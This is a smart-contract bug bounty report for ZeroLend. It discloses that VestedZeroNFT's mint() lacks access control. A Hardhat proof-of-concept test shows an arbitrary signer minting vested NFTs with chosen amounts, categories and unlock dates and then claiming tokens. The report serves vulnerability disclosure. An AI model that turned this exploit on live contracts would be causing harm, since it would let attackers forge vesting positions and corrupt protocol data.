28875 - [SC - Medium] Unauthorized minting of vested NFTs
Submitted on Feb 29th 2024 at 16:43:28 UTC by @riptide for Boost | ZeroLend
Report ID: #28875
Report type: Smart Contract
Report severity: Medium
Target: https://github.com/zerolend/governance
Impacts:
Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
Description
Brief/Intro
VestedZeroNFT contract lacks a permissioned modifer for mint() on L63 which allows any user to mint an unlimited amount of VestedZeroNFTs to any address with falsified categories.
Vulnerability Details
Lack of permissioned modifier to a function explicitly specified as protected in the comments.
Impact Details
Low impact other than misrepresenting the VestCategory at will and corrupting any analytics when viewing the collection and stats of the vested NFTs (amounts, cliff times, linear, etc all can be arbitrarily set).
References
Add any relevant links to documentation or code
Proof of concept
import { expect } from "chai";
import { deployGovernance } from "./fixtures/governance";
import { loadFixture, time } from "@nomicfoundation/hardhat-network-helpers";
import { SignerWithAddress } from "@nomicfoundation/hardhat-ethers/signers";
import { VestedZeroNFT } from "../typechain-types";
import { e18 } from "./fixtures/utils";
const { ethers } = require("hardhat");
describe.only("VestedZeroNFT", () => {
let ant: SignerWithAddress;
let vest: VestedZeroNFT;
let now: number;
beforeEach(async () => {
const deployment = await loadFixture(deployGovernance);
ant = deployment.ant;
vest = deployment.vestedZeroNFT;
now = Math.floor(Date.now() / 1000);
});
describe("unprotected mint function", () => {
it("anyone can mint an NFT with any vesting parameters", async function () {
const [attacker] = await ethers.getSigners();
await vest.connect(attacker).mint(
ant.address,
e18 * 15n, // 15 ZERO linear vesting
e18 * 5n, // 5 ZERO upfront
1, // linear duration
0, // cliff duration - 500 seconds
now + 1000, // unlock date
false, // penalty -> false
0
);
expect(await vest.balanceOf(ant)).to.equal(1);
expect(await vest.ownerOf(1)).to.equal(ant.address);
expect(await vest.tokenOfOwnerByIndex(ant.address, 0)).to.equal(1);
await time.increaseTo(now + 1001);
const res = await vest.claimable(1);
console.log("unlock date: ", now + 1000);
console.log(res);
expect(res.upfront).to.equal(e18 * 5n);
expect(res.pending).to.equal(e18 * 15n);
expect(await vest.claim.staticCall(1)).to.eq(e18 * 20n);
await vest.claim(1);
expect(await vest.claimed(1)).to.equal(e18 * 20n);
expect(await vest.unclaimed(1)).to.equal(0);
});
it("anyone can mint an NFT with zero value", async function () {
const [attacker] = await ethers.getSigners();
await vest.connect(attacker).mint(
ant.address,
0, // 15 ZERO linear vesting
0, // 5 ZERO upfront
1, // linear duration
500, // cliff duration - 500 seconds
now + 1000, // unlock date
false, // penalty -> false
0
);
});
it("anyone can mint an NFT with incorrect categorization", async function () {
const [attacker] = await ethers.getSigners();
await vest.connect(attacker).mint(
ant.address,
e18 * 15n, // 15 ZERO linear vesting
e18 * 5n, // 5 ZERO upfront
1, // linear duration
0, // cliff duration - 500 seconds
now + 1000, // unlock date
false, // penalty -> false
1
);
});
});
});